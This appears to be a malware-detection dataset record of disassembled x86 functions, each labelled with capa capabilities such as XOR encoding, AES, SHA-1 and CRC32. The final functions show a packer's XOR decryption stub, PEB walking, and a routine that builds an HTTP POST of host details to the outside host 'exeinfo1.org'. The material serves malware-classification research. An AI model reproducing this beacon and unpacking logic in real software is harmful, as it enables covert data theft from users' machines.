joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1011cb90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
sub esp, 8
xor ecx, ecx
test edx, edx
je 0x1011cc34
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
cmp edx, 8
jb 0x1011cc1b
lea eax, [edx - 1]
push ebx
lea eax, [esi + eax*4]
lea ebx, [edx - 1]
lea ebx, [edi + ebx*4]
cmp edi, eax
ja 0x1011cbc5
cmp ebx, esi
jae 0x1011cc1a
mov eax, edx
mov ebx, edx
and eax, 7
mov edx, esi
sub ebx, eax
sub edx, edi
mov dword [ebp - 4], edx
lea eax, [edi + 0x10]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 8], ebx
mov ebx, esi
mov esi, dword [ebp - 4]
movdqu xmm0, xmmword [ebx]
add ecx, 8
lea ebx, [ebx + 0x20]
lea eax, [eax + 0x20]
movdqu xmm1, xmmword [eax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x30], xmm1
movdqu xmm1, xmmword [esi + eax - 0x20]
movdqu xmm0, xmmword [eax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x20], xmm1
cmp ecx, dword [ebp - 8]
jb 0x1011cbe3
mov esi, dword [ebp + 0xc]
pop ebx
cmp ecx, edx
jae 0x1011cc32
sub esi, edi
lea eax, [edi + ecx*4]
sub edx, ecx
mov ecx, dword [eax + esi]
lea eax, [eax + 4]
xor dword [eax - 4], ecx
dec edx
jne 0x1011cc26
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1011fd90
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor edx, edx
push esi
mov dword [ebp - 0x14], edx
push edi
mov edi, edi
movzx edi, byte [edx + 0x1020d140]
mov eax, edi
mov dword [ebp - 8], edi
shr eax, 5
mov esi, edi
mov edx, eax
shr esi, 6
mov ebx, eax
lea ecx, [edi + edi]
xor ecx, edi
and eax, 1
mov dword [ebp - 0x10], eax
and ebx, 2
shr edi, 7
and edx, 4
mov dword [ebp - 0xc], edx
mov edx, esi
lea eax, [ecx + ecx]
and esi, 1
xor eax, dword [ebp - 8]
and edx, 2
shl eax, 0x19
mov dword [ebp - 4], eax
imul eax, edi, 0x1b000000
shl ecx, 2
xor ecx, dword [ebp - 8]
shl ecx, 8
xor dword [ebp - 4], eax
imul eax, dword [ebp - 0x10], 0x1b000000
xor dword [ebp - 4], eax
imul eax, ebx, 0x1b000000
xor dword [ebp - 4], eax
imul eax, esi, 0x1b000000
xor dword [ebp - 4], eax
imul eax, edx, 0x1b000000
xor dword [ebp - 4], eax
imul eax, dword [ebp - 0xc], 0x1b000000
xor dword [ebp - 4], eax
imul eax, dword [ebp - 0x10], 0x11b00
xor ecx, eax
imul eax, ebx, 0x11b00
xor ecx, eax
imul eax, esi, 0x11b00
xor ecx, eax
imul eax, edx, 0x11b00
mov edx, dword [ebp - 4]
xor ecx, eax
imul eax, dword [ebp - 0xc], 0x11b00
xor ecx, eax
mov eax, dword [ebp - 8]
or edx, ecx
lea ecx, [eax*8]
xor ecx, eax
imul eax, dword [ebp - 0x10], 0x11b0000
shl ecx, 0x10
xor ecx, eax
imul eax, ebx, 0x11b0000
xor ecx, eax
imul eax, dword [ebp - 0xc], 0x11b0000
xor ecx, eax
mov eax, dword [ebp - 8]
or edx, ecx
lea ecx, [eax*4]
xor ecx, eax
imul eax, edi, 0x11b
add ecx, ecx
xor ecx, eax
imul eax, dword [ebp - 0x10], 0x11b
xor ecx, eax
imul eax, ebx, 0x11b
mov ebx, dword [ebp - 8]
xor ecx, eax
imul eax, dword [ebp - 0xc], 0x11b
xor ecx, eax
xor eax, eax
xor ecx, ebx
or ebx, edx
or ecx, edx
mov edx, dword [ebp - 0x14]
or eax, ebx
mov dword [edx*8 + 0x10276dc8], eax
mov dword [edx*8 + 0x10276dcc], ecx
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x100
jl 0x1011fda0
pop edi
pop esi
mov byte [0x10276dc1], 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1011fef0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push esi
xor eax, eax
push edi
movzx esi, byte [eax + str.cw]
mov edx, esi
mov ecx, esi
shr edx, 7
imul edi, edx, 0x1b000000
shl ecx, 0x19
imul edx, edx, 0x11b
xor edi, ecx
mov ecx, esi
shl ecx, 8
or ecx, esi
shl ecx, 8
or edi, ecx
lea ecx, [esi + esi]
xor edx, ecx
xor ecx, ecx
xor edx, esi
or ecx, edi
or edx, edi
mov dword [eax*8 + 0x102765b0], ecx
mov dword [eax*8 + 0x102765b4], edx
inc eax
cmp eax, 0x100
jl 0x1011fef4
xorps xmm0, xmm0
pop edi
movlpd qword [0x10276db8], xmm0
movlpd qword [0x10276db0], xmm0
mov byte [0x10276dc0], 1
pop esi
ret
Function at 0x101265c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 8
mov edx, dword [ebp + 0x10]
mov eax, 0
push ebx
xor bl, bl
test byte [ebp + 8], 3
push esi
sete al
test eax, eax
je 0x1012665c
test cl, 3
mov eax, 0
sete al
test eax, eax
je 0x1012665c
test edx, edx
je 0x10126681
mov ebx, dword [ebp + 8]
xor eax, eax
push edi
mov edi, edx
mov dword [ebp - 4], eax
shr edi, 2
xor esi, esi
test edi, edi
je 0x1012662a
mov esi, ecx
mov dword [ebp - 8], edi
sub ebx, ecx
mov eax, dword [ebx + esi]
lea esi, [esi + 4]
xor eax, dword [esi - 4]
or dword [ebp - 4], eax
dec edi
jne 0x10126612
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 8]
shl esi, 2
pop edi
sub edx, esi
jne 0x10126640
xor eax, eax
cmp dword [ebp - 4], eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
add ebx, esi
add ecx, esi
mov dword [ebp + 8], ebx
mov ebx, eax
shr eax, 0x10
shr ebx, 0x18
or bl, al
mov eax, dword [ebp - 4]
shr eax, 8
or bl, al
or bl, byte [ebp - 4]
test edx, edx
je 0x10126681
mov eax, dword [ebp + 8]
sub eax, ecx
mov dword [ebp + 8], eax
jmp 0x10126670
mov al, byte [ecx + eax]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
or bl, al
mov eax, dword [ebp + 8]
dec edx
jne 0x10126670
xor eax, eax
test bl, bl
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10126920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0xc
mov edx, dword [ebp + 0x10]
test cl, 3
mov eax, 0
sete al
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
test eax, eax
je 0x10126a14
test bl, 3
mov eax, 0
sete al
test eax, eax
je 0x10126a14
mov esi, edx
xor edi, edi
shr esi, 2
mov dword [ebp - 0xc], esi
test esi, esi
je 0x10126a02
cmp esi, 8
jb 0x101269da
lea eax, [ebx - 4]
lea eax, [eax + esi*4]
cmp ecx, eax
ja 0x10126983
lea eax, [ecx - 4]
lea eax, [eax + esi*4]
cmp eax, ebx
jae 0x101269da
mov eax, esi
mov dword [ebp - 4], esi
and eax, 7
mov edx, ebx
sub dword [ebp - 4], eax
sub edx, ecx
mov dword [ebp - 8], edx
lea eax, [ecx + 0x10]
mov edx, dword [ebp + 0x10]
mov ecx, ebx
mov esi, dword [ebp - 8]
movdqu xmm0, xmmword [ecx]
add edi, 8
lea ecx, [ecx + 0x20]
lea eax, [eax + 0x20]
movdqu xmm1, xmmword [eax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x30], xmm1
movdqu xmm1, xmmword [esi + eax - 0x20]
movdqu xmm0, xmmword [eax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x20], xmm1
cmp edi, dword [ebp - 4]
jb 0x101269a0
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
cmp edi, esi
jae 0x10126a02
mov edx, ebx
lea ecx, [ecx + edi*4]
sub edx, dword [ebp + 8]
sub esi, edi
add edi, esi
lea ebx, [ebx]
mov eax, dword [ecx + edx]
lea ecx, [ecx + 4]
xor dword [ecx - 4], eax
dec esi
jne 0x101269f0
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
shl edi, 2
sub edx, edi
je 0x10126a9c
add ecx, edi
add ebx, edi
mov dword [ebp + 8], ecx
xor esi, esi
test edx, edx
je 0x10126a9c
cmp edx, 0x20
jb 0x10126a84
lea eax, [ebx - 1]
lea edi, [ecx - 1]
add eax, edx
add edi, edx
cmp ecx, eax
ja 0x10126a35
cmp edi, ebx
jae 0x10126a84
mov eax, edx
mov edi, edx
and eax, 0x1f
sub edi, eax
mov eax, ecx
mov dword [ebp - 0xc], edi
mov edi, ebx
sub edi, ecx
mov dword [ebp - 8], edi
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
movdqu xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movdqu xmm1, xmmword [eax + ecx - 0x20]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x20], xmm1
movdqu xmm1, xmmword [ebx + esi + 0x10]
add esi, 0x20
movdqu xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movdqu xmmword [eax - 0x10], xmm1
cmp esi, edi
jb 0x10126a50
mov ecx, dword [ebp + 8]
cmp esi, edx
jae 0x10126a9c
sub ebx, ecx
lea eax, [esi + ecx]
sub edx, esi
nop
mov cl, byte [eax + ebx]
lea eax, [eax + 1]
xor byte [eax - 1], cl
dec edx
jne 0x10126a90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1013c340
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101f2f17
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x102683e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 1
mov dword [ebp - 0x10], esi
call fcn.100fec80
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [ebp - 4], 2
mov dword [esi + 0x18], 0xffffffff
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x28], 0xffffffff
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
lea ecx, [esi + 0x44]
mov byte [ebp - 4], 0xb
call fcn.10108590
lea ecx, [esi + 0x5c]
mov byte [ebp - 4], 0xc
call fcn.10108590
mov byte [esi + 0x74], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10171320
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
pop ebp
ret
Function at 0x10176cf0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, ecx
mov edx, dword [ebp + 8]
add eax, eax
lea ecx, [ecx*4 - 4]
movdqa xmm0, xmmword [edx + eax*8]
movdqa xmm1, xmmword [edx]
movdqa xmmword [edx], xmm0
movdqa xmmword [edx + eax*8], xmm1
mov eax, 4
cmp ecx, eax
jbe 0x10176d40
nop
aesimc xmm0, xmmword [edx + ecx*4]
aesimc xmm1, xmmword [edx + eax*4]
movdqa xmmword [edx + eax*4], xmm0
add eax, 4
movdqa xmmword [edx + ecx*4], xmm1
sub ecx, 4
cmp eax, ecx
jb 0x10176d20
aesimc xmm0, xmmword [edx + eax*4]
movdqa xmmword [edx + eax*4], xmm0
pop ebp
ret
Function at 0x10176d50
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebx + 8]
push esi
mov esi, dword [ebx + 0x10]
push edi
mov edi, dword [ebx + 0xc]
push edi
push eax
push esi
movdqu xmm0, xmmword [eax + edi - 0x10]
movdqa xmmword [ebp - 0x30], xmm0
call fcn.101a1180
movdqa xmm1, xmmword [ebp - 0x30]
mov edx, edi
shr edx, 2
add esp, 0xc
aeskeygenassist xmm0, xmm1, 0
pextrd ecx, xmm0, 3
xor ecx, dword [esi]
lea edi, [esi + edx*4]
lea eax, [edx + 7]
mov dword [ebp - 4], 0x1020d004
shl eax, 4
xor ecx, 1
add eax, esi
mov dword [edi], ecx
mov dword [ebp - 8], eax
lea eax, [edx*4]
mov dword [ebp - 0xc], eax
mov eax, dword [esi + 4]
xor eax, ecx
mov dword [edi + 4], eax
mov ecx, dword [esi + 8]
xor ecx, eax
lea eax, [edx*4 + 8]
mov dword [eax + esi], ecx
mov dword [ebp - 0x10], eax
lea eax, [edx*4 + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 0xc]
xor eax, ecx
mov dword [esi + edx*4 + 0xc], eax
lea eax, [edx*4 + 0x10]
mov dword [ebp - 0x18], eax
add eax, esi
cmp eax, dword [ebp - 8]
je 0x10176ec3
mov edx, dword [ebp - 0xc]
jmp 0x10176e10
mov eax, dword [ebx + 0xc]
cmp eax, 0x18
jne 0x10176e31
mov eax, dword [esi + 0x24]
xor eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
xor ecx, eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ecx
pinsrd xmm1, ecx, 3
jmp 0x10176e76
cmp eax, 0x20
jne 0x10176e6f
pinsrd xmm1, dword [esi + 0x2c], 3
mov eax, dword [esi + 0x14]
aeskeygenassist xmm0, xmm1, 0
pextrd ecx, xmm0, 2
xor ecx, dword [esi + 0x10]
xor eax, ecx
mov dword [esi + 0x30], ecx
mov ecx, dword [esi + 0x18]
xor ecx, eax
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x1c]
xor eax, ecx
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], eax
pinsrd xmm1, eax, 3
jmp 0x10176e76
pinsrd xmm1, dword [esi + 0x1c], 3
mov ecx, dword [ebp - 4]
mov esi, edi
aeskeygenassist xmm0, xmm1, 0
pextrd eax, xmm0, 3
lea edi, [edx + esi]
xor eax, dword [ecx]
add ecx, 4
xor eax, dword [esi]
mov dword [edi], eax
mov eax, dword [esi + 4]
xor eax, dword [edi]
mov dword [edx + esi + 4], eax
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 8]
xor ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + esi], ecx
mov eax, dword [esi + 0xc]
xor eax, ecx
mov ecx, dword [ebp - 0x14]
mov dword [ecx + esi], eax
mov eax, dword [ebp - 0x18]
add eax, esi
cmp eax, dword [ebp - 8]
jne 0x10176e10
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1017de00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x14]
sub esp, 0x10
xor ecx, ecx
test edx, edx
je 0x1017dee5
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp edx, 8
jb 0x1017dec5
lea eax, [edx - 1]
lea eax, [ebx + eax*4]
cmp esi, eax
ja 0x1017de40
lea eax, [edx - 1]
lea eax, [esi + eax*4]
cmp eax, ebx
jae 0x1017dec5
lea eax, [edx - 1]
lea eax, [edi + eax*4]
cmp esi, eax
ja 0x1017de54
lea eax, [edx - 1]
lea eax, [esi + eax*4]
cmp eax, edi
jae 0x1017dec5
mov eax, edx
mov dword [ebp - 4], edx
mov edx, esi
and eax, 7
sub dword [ebp - 4], eax
sub edx, edi
mov dword [ebp - 8], edx
lea eax, [edi + 0x10]
mov edx, ebx
sub edx, edi
mov dword [ebp - 0xc], edx
mov edx, esi
mov esi, dword [ebp - 8]
sub edx, ebx
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov edx, ebx
nop
movdqu xmm0, xmmword [edx]
mov ebx, dword [ebp - 0x10]
add ecx, 8
lea edx, [edx + 0x20]
lea eax, [eax + 0x20]
movdqu xmm1, xmmword [eax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [ebx + edx - 0x20], xmm1
mov ebx, dword [ebp + 0x10]
movdqu xmm1, xmmword [edi + eax - 0x20]
movdqu xmm0, xmmword [eax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [esi + eax - 0x20], xmm1
cmp ecx, dword [ebp - 4]
jb 0x1017de80
mov edx, dword [ebp + 0x14]
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cmp ecx, edx
jae 0x1017dee2
sub edi, ebx
lea eax, [ebx + ecx*4]
sub esi, ebx
sub edx, ecx
mov ecx, dword [edi + eax]
lea eax, [eax + 4]
xor ecx, dword [eax - 4]
mov dword [eax + esi - 4], ecx
dec edx
jne 0x1017ded2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10180280
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101f9619
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x102683e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 8]
lea edi, [esi + 4]
mov ecx, edi
mov dword [esi], eax
mov dword [ebp + 8], edi
call fcn.10108590
lea ecx, [edi + 0x18]
mov dword [ebp - 4], 0
call fcn.10108590
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 1
call fcn.10108590
lea ecx, [esi + 0x4c]
mov dword [ebp - 4], 2
call fcn.10108590
lea ecx, [esi + 0x64]
mov byte [ebp - 4], 3
call fcn.10108590
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 4
call fcn.10108590
lea ecx, [esi + 0x94]
mov byte [ebp - 4], 5
call fcn.10108590
lea ecx, [esi + 0xac]
mov byte [ebp - 4], 6
call fcn.10108590
lea ecx, [esi + 0xc4]
mov byte [ebp - 4], 7
call fcn.10108590
mov ebx, dword [ebp + 0x14]
mov byte [ebp - 4], 8
cmp byte [ebx + 0x34], 0
je 0x1018036d
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x38]
push eax
lea ecx, [esi + 0x1c]
call fcn.101094e0
push eax
mov ecx, edi
call fcn.101094e0
push eax
lea ecx, [esi + 0x4c]
call fcn.101094e0
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 8]
push eax
lea ecx, [esi + 0x34]
call fcn.101094e0
push eax
jmp 0x101803a0
lea eax, [ebx + 4]
mov ecx, edi
push eax
call fcn.101094e0
lea eax, [ebx + 0x1c]
push eax
lea ecx, [esi + 0x1c]
call fcn.101094e0
mov ecx, dword [esi]
mov eax, dword [ecx]
call dword [eax + 0x38]
push eax
lea ecx, [esi + 0x34]
call fcn.101094e0
push eax
lea ecx, [esi + 0x4c]
call fcn.101094e0
push dword [ebp + 0xc]
lea ecx, [esi + 0x64]
call fcn.101094e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10183f40
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101ee408
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x102683e0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push 0xf0000000
push 1
push 0
push 0
push esi
mov dword [esi], 0
call edi
test eax, eax
jne 0x10183feb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 8
push 1
push 0
push str.Crypto_RNG
push esi
mov ebx, eax
call edi
test eax, eax
jne 0x10183feb
push 0x28
push 1
push eax
push str.Crypto_RNG
push esi
call edi
test eax, eax
jne 0x10183feb
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.CryptAcquireContext
lea ecx, [ebp - 0x28]
call fcn.10003120
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x50]
call fcn.101840c0
push 0x10261548
lea eax, [ebp - 0x50]
push eax
call fcn.101a0d0e
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101a0193
mov esp, ebp
pop ebp
ret
Function at 0x101deb70
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.101decf0

Function at 0x101def70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x101def7c
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.101df1e0

Function at 0x101defd0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x102683e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x108], edx
test edi, edi
jg 0x101df00c
jl 0x101deffa
test edx, edx
jne 0x101df00c
mov eax, dword [ebp + 8]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.101a0193
mov esp, ebp
pop ebp
ret
mov ecx, 1
mov dword [ebp - 0x84], 0xedb88320
mov eax, ecx
nop dword [eax]
mov dword [ebp + eax*4 - 0x84], ecx
inc eax
add ecx, ecx
cmp eax, 0x20
jl 0x101df020
push ebx
push esi
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov eax, dword [ebp + esi - 0x84]
lea ecx, [ebp - 0x84]
xor edx, edx
test eax, eax
je 0x101df060
test al, 1
je 0x101df059
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x101df053
mov dword [ebp + esi - 0x104], edx
add esi, 4
cmp esi, 0x80
jl 0x101df040
xor esi, esi
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp + esi - 0x104]
lea ecx, [ebp - 0x104]
xor edx, edx
test eax, eax
je 0x101df0a0
test al, 1
je 0x101df099
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x101df093
mov dword [ebp + esi - 0x84], edx
add esi, 4
cmp esi, 0x80
jl 0x101df080
mov ebx, dword [ebp + 8]
nop word [eax + eax]
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov eax, dword [ebp + esi - 0x84]
lea ecx, [ebp - 0x84]
xor edx, edx
test eax, eax
je 0x101df0f0
test al, 1
je 0x101df0e9
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x101df0e3
mov dword [ebp + esi - 0x104], edx
add esi, 4
cmp esi, 0x80
jl 0x101df0d0
mov edx, dword [ebp - 0x108]
mov eax, edx
and eax, 1
or eax, 0
je 0x101df130
xor ecx, ecx
lea eax, [ebp - 0x104]
test ebx, ebx
je 0x101df12e
nop
test bl, 1
je 0x101df127
xor ecx, dword [eax]
add eax, 4
shr ebx, 1
jne 0x101df120
mov ebx, ecx
shrd edx, edi, 1
sar edi, 1
mov eax, edx
or eax, edi
mov dword [ebp - 0x108], edx
je 0x101df1c6
xor esi, esi
nop dword [eax + eax]
mov eax, dword [ebp + esi - 0x104]
lea ecx, [ebp - 0x104]
xor edx, edx
test eax, eax
je 0x101df170
test al, 1
je 0x101df169
xor edx, dword [ecx]
add ecx, 4
shr eax, 1
jne 0x101df163
mov dword [ebp + esi - 0x84], edx
add esi, 4
cmp esi, 0x80
jl 0x101df150
mov edx, dword [ebp - 0x108]
mov eax, edx
and eax, 1
or eax, 0
je 0x101df1b0
xor ecx, ecx
lea eax, [ebp - 0x84]
test ebx, ebx
je 0x101df1ae
nop
test bl, 1
je 0x101df1a7
xor ecx, dword [eax]
add eax, 4
shr ebx, 1
jne 0x101df1a0
mov ebx, ecx
shrd edx, edi, 1
sar edi, 1
mov ecx, edx
or ecx, edi
mov dword [ebp - 0x108], edx
jne 0x101df0c0
xor ebx, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.101a0193
mov esp, ebp
pop ebp
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x402000
Capabilities:
Access peb ldr_data

Disassembly:
push 0
push 2
push 0x403068
push 0x403053
call dword [sym.imp.Winmm.dll_mciSendStringA]
cmp eax, 0x107
je 0x40201c
ret
mov edi, edi
mov esi, 0x4020c7
mov edi, esi
push 1
push 0x403086
push 1
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateSemaphoreA]
mov edx, eax
pop ebx
mov ecx, 0x3ab
mov al, byte [esi]
sub al, bl
stosb byte es:[edi], al
inc esi
loop 0x402040
push dword fs:[0x30]
mov eax, dword [esp]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
cmp word [eax], 0x5a4d
je 0x402066
xor eax, eax
mov dword [0x403099], eax
add esp, 4
ret
Function at 0x403e50
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004042c0
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad34]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40daa4], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x40401c
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40daa4]
call fcn.00403689
call fcn.0040372f
call fcn.00403987
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004041e0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eaa8], edi
jbe 0x403f03
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40daa8]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404238
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eaa8]
jb 0x403ede
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004041e0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004041e0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004041e0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403d6f
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004041e0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403ab5
mov esi, 0x40b050
push esi
call fcn.00404160
mov edi, eax
lea eax, [ebp - 0x484]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404160
add esp, 0x20
lea ecx, [ebp - 0x44]
lea eax, [edi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push esi
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_s_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404238
add esp, 0x28
